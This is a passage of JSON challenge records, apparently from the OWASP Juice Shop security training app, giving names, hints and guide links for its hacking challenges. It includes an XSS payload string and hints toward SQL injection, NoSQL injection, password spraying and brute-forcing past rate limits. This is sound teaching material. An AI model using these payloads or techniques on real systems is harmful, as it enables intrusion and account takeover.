backend.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_post_some_feedback_in_another_users_name","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":8,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":32,"key":"forgedReviewChallenge","name":"Forged Review","category":"Broken Access Control","tags":null,"description":"Post a product review as another user or edit any user\'s existing review.","difficulty":3,"hint":"Observe the flow of product review posting and editing and see if you can exploit it.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_post_a_product_review_as_another_user_or_edit_any_users_existing_review","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":33,"key":"jwtForgedChallenge","name":"Forged Signed JWT","category":"Vulnerable Components","tags":null,"description":"Forge an almost properly RSA-signed JWT token that impersonates the (non-existing) user <i>rsa_lord@juice-sh.op</i>.","difficulty":6,"hint":"This challenge is explicitly not about acquiring the RSA private key used for JWT signing.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_forge_an_almost_properly_rsa_signed_jwt_token","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":34,"key":"forgottenDevBackupChallenge","name":"Forgotten Developer Backup","category":"Sensitive Data Exposure","tags":"Contraption,Good for Demos,Prerequisite","description":"Access a developer\'s forgotten backup file.","difficulty":4,"hint":"You need to trick a security mechanism into thinking that the file you want has a valid file type.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_access_a_developers_forgotten_backup_file","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":35,"key":"forgottenBackupChallenge","name":"Forgotten Sales Backup","category":"Sensitive Data Exposure","tags":"Contraption","description":"Access a salesman\'s forgotten backup file.","difficulty":4,"hint":"You need to trick a security mechanism into thinking that the file you want has a valid file type.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_access_a_salesmans_forgotten_backup_file","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":36,"key":"typosquattingAngularChallenge","name":"Frontend Typosquatting","category":"Vulnerable Components","tags":null,"description":"<a href=\\"/#/contact\\">Inform the shop</a> about a <i>typosquatting</i> imposter that dug itself deep into the frontend. (Mention the exact name of the culprit)","difficulty":5,"hint":"This challenge has nothing to do with mistyping web domains. There is no conveniently misplaced file helping you with this one either. Or is there?","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_inform_the_shop_about_a_typosquatting_imposter_that_dug_itself_deep_into_the_frontend","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":37,"key":"ghostLoginChallenge","name":"GDPR Data Erasure","category":"Broken Authentication","tags":null,"description":"Log in with Chris\' erased user account.","difficulty":3,"hint":"Turns out that something is technically and legally wrong with the implementation of the \\"right to be forgotten\\" for users.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_log_in_with_chris_erased_user_account","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":38,"key":"dataExportChallenge","name":"GDPR Data Theft","category":"Sensitive Data Exposure","tags":null,"description":"Steal someone else\'s personal data without using Injection.","difficulty":4,"hint":"Trick the regular Data Export to give you more than actually belongs to you.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_steal_someone_elses_personal_data_without_using_injection","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":39,"key":"httpHeaderXssChallenge","name":"HTTP-Header XSS","category":"XSS","tags":"Danger Zone","description":"Perform a <i>persisted</i> XSS attack with <code><iframe src=\\"javascript:alert(`xss`)\\"></code> through an HTTP header.","difficulty":4,"hint":"Finding a piece of displayed information that could originate from an HTTP header is part of this challenge.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_perform_a_persisted_xss_attack_through_an_http_header","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":40,"key":"continueCodeChallenge","name":"Imaginary Challenge","category":"Cryptographic Issues","tags":"Shenanigans,Code Analysis","description":"Solve challenge #999. Unfortunately, this challenge does not exist.","difficulty":6,"hint":"You need to trick the hacking progress persistence feature into thinking you solved challenge #999.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/cryptographic-issues.html#_solve_challenge_999","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":41,"key":"dlpPasswordSprayingChallenge","name":"Leaked Access Logs","category":"Sensitive Data Exposure","tags":"OSINT","description":"Dumpster dive the Internet for a leaked password and log in to the original user account it belongs to. (Creating a new account with the same password does not qualify as a solution.)","difficulty":5,"hint":"Once you have it, a technique called \\"Password Spraying\\" might prove useful.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_dumpster_dive_the_internet_for_a_leaked_password_and_log_in_to_the_original_user_account_it_belongs_to","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":42,"key":"dlpPastebinDataLeakChallenge","name":"Leaked Unsafe Product","category":"Sensitive Data Exposure","tags":"Shenanigans,OSINT","description":"Identify an unsafe product that was removed from the shop and <a href=\\"/#/contact\\">inform the shop</a> which ingredients are dangerous.","difficulty":4,"hint":"Your own SQLi and someone else\'s Ctrl-V will be your accomplices in this challenge!","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_identify_an_unsafe_product_that_was_removed_from_the_shop_and_inform_the_shop_which_ingredients_are_dangerous","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":43,"key":"typosquattingNpmChallenge","name":"Legacy Typosquatting","category":"Vulnerable Components","tags":null,"description":"<a href=\\"/#/contact\\">Inform the shop</a> about a <i>typosquatting</i> trick it has been a victim of at least in <code>v6.2.0-SNAPSHOT</code>. (Mention the exact name of the culprit)","difficulty":4,"hint":"This challenge has nothing to do with mistyping web domains. Investigate the forgotten developer\'s backup file instead.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_inform_the_shop_about_a_typosquatting_trick_it_has_been_a_victim_of","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":44,"key":"loginAdminChallenge","name":"Login Admin","category":"Injection","tags":"Tutorial,Good for Demos","description":"Log in with the administrator\'s user account.","difficulty":2,"hint":"Try different SQL Injection attack patterns depending whether you know the admin\'s email address or not.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_log_in_with_the_administrators_user_account","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":5,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":45,"key":"loginAmyChallenge","name":"Login Amy","category":"Sensitive Data Exposure","tags":"OSINT","description":"Log in with Amy\'s original user credentials. (This could take 93.83 billion trillion trillion centuries to brute force, but luckily she did not read the \\"One Important Final Note\\")","difficulty":3,"hint":"This challenge will make you go after a needle in a haystack.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_log_in_with_amys_original_user_credentials","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":46,"key":"loginBenderChallenge","name":"Login Bender","category":"Injection","tags":"Tutorial","description":"Log in with Bender\'s user account.","difficulty":3,"hint":"If you know Bender\'s email address, try SQL Injection. Bender\'s password hash might not help you very much.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_log_in_with_benders_user_account","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":10,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":47,"key":"oauthUserPasswordChallenge","name":"Login Bjoern","category":"Broken Authentication","tags":"Code Analysis","description":"Log in with Bjoern\'s Gmail account <i>without</i> previously changing his password, applying SQL Injection, or hacking his Google account.","difficulty":4,"hint":"The security flaw behind this challenge is 100% OWASP Juice Shop\'s fault and 0% Google\'s.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_log_in_with_bjoerns_gmail_account","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":48,"key":"loginJimChallenge","name":"Login Jim","category":"Injection","tags":"Tutorial","description":"Log in with Jim\'s user account.","difficulty":3,"hint":"Try cracking Jim\'s password hash if you harvested it already. Alternatively, if you know Jim\'s email address, try SQL Injection.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_log_in_with_jims_user_account","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":9,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":49,"key":"loginRapperChallenge","name":"Login MC SafeSearch","category":"Sensitive Data Exposure","tags":"Shenanigans,OSINT","description":"Log in with MC SafeSearch\'s original user credentials without applying SQL Injection or any other bypass.","difficulty":2,"hint":"You should listen to MC\'s hit song \\"Protect Ya Passwordz\\".","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_log_in_with_mc_safesearchs_original_user_credentials","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":50,"key":"loginSupportChallenge","name":"Login Support Team","category":"Security Misconfiguration","tags":"Brute Force,Code Analysis","description":"Log in with the support team\'s original user credentials without applying SQL Injection or any other bypass.","difficulty":6,"hint":"The underlying flaw of this challenge is a lot more human error than technical weakness.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/security-misconfiguration.html#_log_in_with_the_support_teams_original_user_credentials","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":51,"key":"basketManipulateChallenge","name":"Manipulate Basket","category":"Broken Access Control","tags":null,"description":"Put an additional product into another user\'s shopping basket.","difficulty":3,"hint":"Have an eye on the HTTP traffic while placing products in the shopping basket. Changing the quantity of products already in the basket doesn\'t count.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_put_an_additional_product_into_another_users_shopping_basket","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":52,"key":"misplacedSignatureFileChallenge","name":"Misplaced Signature File","category":"Sensitive Data Exposure","tags":"Good Practice,Contraption","description":"Access a misplaced <a href=\\"https://github.com/Neo23x0/sigma\\">SIEM signature</a> file.","difficulty":4,"hint":"You need to trick a security mechanism into thinking that the file you want has a valid file type.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_access_a_misplaced_siem_signature_file","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":53,"key":"timingAttackChallenge","name":"Multiple Likes","category":"Broken Anti Automation","tags":null,"description":"Like any review at least three times as the same user.","difficulty":6,"hint":"Punctuality is the politeness of kings.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-anti-automation.html#_like_any_review_at_least_three_times_as_the_same_user","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":54,"key":"easterEggLevelTwoChallenge","name":"Nested Easter Egg","category":"Cryptographic Issues","tags":"Shenanigans,Good for Demos","description":"Apply some advanced cryptanalysis to find <i>the real</i> easter egg.","difficulty":4,"hint":"You might have to peel through several layers of tough-as-nails encryption for this challenge.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/cryptographic-issues.html#_apply_some_advanced_cryptanalysis_to_find_the_real_easter_egg","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":55,"key":"noSqlCommandChallenge","name":"NoSQL DoS","category":"Injection","tags":"Danger Zone","description":"Let the server sleep for some time. (It has done more than enough hard work for you)","difficulty":4,"hint":"This challenge is essentially a stripped-down Denial of Service (DoS) attack.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_let_the_server_sleep_for_some_time","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":56,"key":"noSqlOrdersChallenge","name":"NoSQL Exfiltration","category":"Injection","tags":"Danger Zone","description":"All your orders are belong to us! Even the ones which don\'t.","difficulty":5,"hint":"Take a close look on how the $where query operator works in MongoDB.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_all_your_orders_are_belong_to_us","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":57,"key":"noSqlReviewsChallenge","name":"NoSQL Manipulation","category":"Injection","tags":null,"description":"Update multiple product reviews at the same time.","difficulty":4,"hint":"Take a close look on how the equivalent of UPDATE-statements in MongoDB work.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_update_multiple_product_reviews_at_the_same_time","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":58,"key":"redirectCryptoCurrencyChallenge","name":"Outdated Allowlist","category":"Unvalidated Redirects","tags":"Code Analysis","description":"Let us redirect you to one of our crypto currency addresses which are not promoted any longer.","difficulty":1,"hint":"We might have failed to take this out of our code properly.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/unvalidated-redirects.html#_let_us_redirect_you_to_one_of_our_crypto_currency_addresses","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":59,"key":"weakPasswordChallenge","name":"Password Strength","category":"Broken Authentication","tags":"Brute Force,Tutorial","description":"Log in with the administrator\'s user credentials without previously changing them or applying SQL Injection.","difficulty":2,"hint":"This one should be equally easy to a) brute force, b) crack the password hash or c) simply guess.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_log_in_with_the_administrators_user_credentials_without_previously_changing_them_or_applying_sql_injection","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":6,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":60,"key":"negativeOrderChallenge","name":"Payback Time","category":"Improper Input Validation","tags":null,"description":"Place an order that makes you rich.","difficulty":3,"hint":"You literally need to make the shop owe you any amount of money.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_place_an_order_that_makes_you_rich","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":61,"key":"premiumPaywallChallenge","name":"Premium Paywall","category":"Cryptographic Issues","tags":"Shenanigans","description":"<i class=\\"far fa-gem\\"></i><i class=\\"far fa-gem\\"></i><i class=\\"far fa-gem\\"></i><i class=\\"far fa-gem\\"></i><i class=\\"far fa-gem\\"></i><!--IvLuRfBJYlmStf9XfL6ckJFngyd9LfV1JaaN/KRTPQPidTuJ7FR+D/nkWJUF+0xUF07CeCeqYfxq+OJVVa0gNbqgYkUNvn//UbE7e95C+6e+7GtdpqJ8mqm4WcPvUGIUxmGLTTAC2+G9UuFCD1DUjg==--> <a href=\\"https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm\\" target=\\"_blank\\"><i class=\\"fab fa-btc fa-sm\\"></i> Unlock Premium Challenge</a> to access exclusive content.","difficulty":6,"hint":"You do not have to pay anything to unlock this challenge! Nonetheless, donations are very much appreciated.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/cryptographic-issues.html#_unlock_premium_challenge_to_access_exclusive_content","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":62,"key":"privacyPolicyChallenge","name":"Privacy Policy","category":"Miscellaneous","tags":"Good Practice,Tutorial,Good for Demos","description":"Read our privacy policy.","difficulty":1,"hint":"We won\'t even ask you to confirm that you did. Just read it. Please. Pretty please.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/miscellaneous.html#_read_our_privacy_policy","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":4,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":63,"key":"privacyPolicyProofChallenge","name":"Privacy Policy Inspection","category":"Security through Obscurity","tags":"Shenanigans,Good for Demos","description":"Prove that you actually read our privacy policy.","difficulty":3,"hint":"Only by visiting a special URL you can confirm that you read it carefully.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/security-through-obscurity.html#_prove_that_you_actually_read_our_privacy_policy","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":64,"key":"changeProductChallenge","name":"Product Tampering","category":"Broken Access Control","tags":null,"description":"Change the <code>href</code> of the link within the <a href=\\"/#/search?q=OWASP SSL Advanced Forensic Tool (O-Saft)\\">OWASP SSL Advanced Forensic Tool (O-Saft)</a> product description into <i>https://owasp.slack.com</i>.","difficulty":3,"hint":"Look for one of the following: a) broken admin functionality, b) holes in RESTful API or c) possibility for SQL Injection.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_change_the_href_of_the_link_within_the_o_saft_product_description","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":65,"key":"reflectedXssChallenge","name":"Reflected XSS","category":"XSS","tags":"Danger Zone,Good for Demos","description":"Perform a <i>reflected</i> XSS attack with <code><iframe src=\\"javascript:alert(`xss`)\\"></code>.","difficulty":2,"hint":"Look for a url parameter where its value appears in the page it is leading to.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_perform_a_reflected_xss_attack","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":66,"key":"passwordRepeatChallenge","name":"Repetitive Registration","category":"Improper Input Validation","tags":null,"description":"Follow the DRY principle while registering a user.","difficulty":1,"hint":"You can solve this by cleverly interacting with the UI or bypassing it altogether.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_follow_the_dry_principle_while_registering_a_user","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":67,"key":"resetPasswordBenderChallenge","name":"Reset Bender\'s Password","category":"Broken Authentication","tags":"OSINT","description":"Reset Bender\'s password via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism with <i>the original answer</i> to his security question.","difficulty":4,"hint":"Not as trivial as Jim\'s but still not too difficult with some \\"Futurama\\" background knowledge.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_reset_benders_password_via_the_forgot_password_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":68,"key":"resetPasswordBjoernChallenge","name":"Reset Bjoern\'s Password","category":"Broken Authentication","tags":"OSINT","description":"Reset the password of Bjoern\'s internal account via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism with <i>the original answer</i> to his security question.","difficulty":5,"hint":"Nothing a little bit of Facebook stalking couldn\'t reveal. Might involve a historical twist.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_reset_the_password_of_bjoerns_internal_account_via_the_forgot_password_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":69,"key":"resetPasswordJimChallenge","name":"Reset Jim\'s Password","category":"Broken Authentication","tags":"OSINT","description":"Reset Jim\'s password via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism with <i>the original answer</i> to his security question.","difficulty":3,"hint":"It\'s hard for celebrities to pick a security question from a hard-coded list where the answer is not publicly exposed.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_reset_jims_password_via_the_forgot_password_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":70,"key":"resetPasswordMortyChallenge","name":"Reset Morty\'s Password","category":"Broken Anti Automation","tags":"OSINT,Brute Force","description":"Reset Morty\'s password via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism with <i>his obfuscated answer</i> to his security question.","difficulty":5,"hint":"Find a way to bypass the rate limiting and brute force the obfuscated answer to Morty\'s security question.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-anti-automation.html#_reset_mortys_password_via_the_forgot_password_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":71,"key":"retrieveBlueprintChallenge","name":"Retrieve Blueprint","category":"Sensitive Data Exposure","tags":null,"description":"Deprive the shop of earnings by downloading the blueprint for one of its products.","difficulty":5,"hint":"The product you might want to give a closer look is the OWASP Juice Shop Logo (3D-printed).","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_deprive_the_shop_of_earnings_by_downloading_the_blueprint_for_one_of_its_products","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":72,"key":"ssrfChallenge","name":"SSRF","category":"Broken Access Control","tags":"Code Analysis","description":"Request a hidden resource on server through server.","difficulty":6,"hint":"Reverse engineering something bad can make good things happen.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_request_a_hidden_resource_on_server_through_server","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":73,"key":"sstiChallenge","name":"SSTi","category":"Injection","tags":"Contraption,Danger Zone,Code Analysis","description":"Infect the server with juicy malware by abusing arbitrary command execution.","difficulty":6,"hint":"\\"SSTi\\" is a clear indicator that this has nothing to do with anything Angular. Also, make sure to use only our non-malicious malware.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_infect_the_server_with_juicy_malware_by_abusing_arbitrary_command_execution","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":74,"key":"scoreBoardChallenge","name":"Score Board","category":"Miscellaneous","tags":"Tutorial,Code Analysis","description":"Find the carefully hidden \'Score Board\' page.","difficulty":1,"hint":"Try to find a reference or clue behind the scenes. Or simply guess what URL the Score Board might 